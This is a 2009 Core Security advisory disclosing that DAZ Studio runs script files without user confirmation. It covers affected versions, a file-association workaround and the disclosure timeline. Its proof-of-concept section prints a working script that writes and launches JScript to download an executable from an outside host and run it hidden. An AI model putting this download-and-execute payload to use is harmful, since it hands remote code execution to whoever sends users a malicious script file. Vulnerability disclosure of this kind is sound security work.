Core Security Technologies Advisory 2009.0911

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DAZ Studio Arbitrary Command Execution  
  
  
  
1. *Advisory Information*  
  
Title: DAZ Studio Arbitrary Command Execution  
Advisory Id: CORE-2009-0911  
Advisory URL:  
http://www.coresecurity.com/content/dazstudio-scripting-injection  
Date published: 2009-12-02  
Date of last update: 2009-12-01  
Vendors contacted: DAZ  
Release mode: User release  
  
  
  
2. *Vulnerability Information*  
  
Class: Insufficient UI Warning of Dangerous Operations [CWE-357]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: 37176  
CVE Name: CVE-2009-4148  
  
  
  
3. *Vulnerability Description*  
  
DAZ Studio [2] is a 3D figure illustration/animation application  
released by DAZ 3D Inc. DAZ Studio can be accessed via a scripting  
language which allows for quite a bit of diversity in tool creation. DAZ  
Studio does not ask for any confirmation from the user prior to  
executing a scripting file with any of the following extensions: .ds,  
.dsa, .dse, .dsb. An attacker could abuse the scripting interface by  
enticing an unsuspecting user to open a malicious scripting file, thus  
obtaining remote code execution.  
  
  
4. *Vulnerable packages*  
  
. DAZ Studio 2.3.3.161  
. DAZ Studio 2.3.3.163  
. DAZ Studio 3.0.1.135  
. Older versions are probably affected too, but they were not checked.  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
The vendor did not provide fixes or workaround information.  
  
To prevent the accidental execution of malicious scripting files you can  
disable the default file association of the dangerous file extensions in  
the Windows Explorer. The following KB article from Microsoft describe  
how to deassociate a file extension.  
http://support.microsoft.com/kb/307859  
  
  
6. *Credits*  
  
This vulnerability was discovered and researched by Diego Juarez from  
Core Security Technologies during Bugweek 2009 [1].  
  
  
7. *Technical Description / Proof of Concept Code*  
  
The following Proof of Concept .ds file demonstrates remote code  
execution by downloading and executing putty in the context of DAZ Studio.  
  
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// DAZ Studio PoC  
var oFile = new DzFile("d:\\test.js");  
oFile.open(2);  
oFile.write("s=WScript.CreateObject(\'WScript.Shell\');o=WScript.CreateObject(\'ADODB.Stream\');e=s.Environment(\'Process\');u=\'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe\';b=e.Item(\'TEMP\')+\'\\\\agent.exe\';try{x=new  
ActiveXObject(\'Microsoft.XMLHTTP\');}catch(e){x=new  
ActiveXObject(\'MSXML2.ServerXMLHTTP\');}if(!x)exit(0);x.open(\'GET\',u,0);x.send(null);d=x.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(d);o.SaveToFile(b,2);s.Run(b,0);\r\n");  
oFile.close()  
  
var oProcess = new DzProcess(["wscript", "d:\\test.js"]);  
oProcess.start();  
  
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8. *Report Timeline*  
  
. 2009-11-06:  
Core Security Technologies completes a support form trying to reach a  
security contact from DAZ.  
  
. 2009-11-06:  
Core receives an email saying that Core contact email was not recognised  
as a registered email.  
  
. 2009-11-06:  
Core completes a registration form to be able to contact the support team.  
  
. 2009-11-13:  
Since DAZ support team didn't respond to any mail, Core contacts CERT  
trying to obtain a valid security contact at DAZ.  
  
. 2009-11-16:  
CERT acknowledges the comunication, and Core reschedules the advisory to  
November 30th, 2009 based on CERT recommendations.  
  
. 2009-11-18:  
CERT communicates that the vendor doesn't seem familiar with  
vulnerability reporting/disclosure, and request additional information  
about the vulnerability.  
  
. 2009-11-18:  
CERT contacted DAZ four times between 11/16 and 11/30.  
  
. 2009-11-19:  
Core replies that the issue is a script injection vulnerability.  
  
. 2009-11-30:  
DAZ did not wish to provide contact information.  
  
. 2009-12-03:  
The advisory CORE-2009-0911 is published.  
  
  
  
9. *References*  
  
[1] The author participated in Core Bugweek 2009 as member of the team  
"Gimbal Lock N Load".  
[2] DAZ Studio: http://www.daz3d.com/i/software/daz_studio3?_m=d  
  
  
10. *About CoreLabs*  
  
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11. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2009 Core Security  
Technologies and (c) 2009 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
13. *PGP/GPG Keys*  
  
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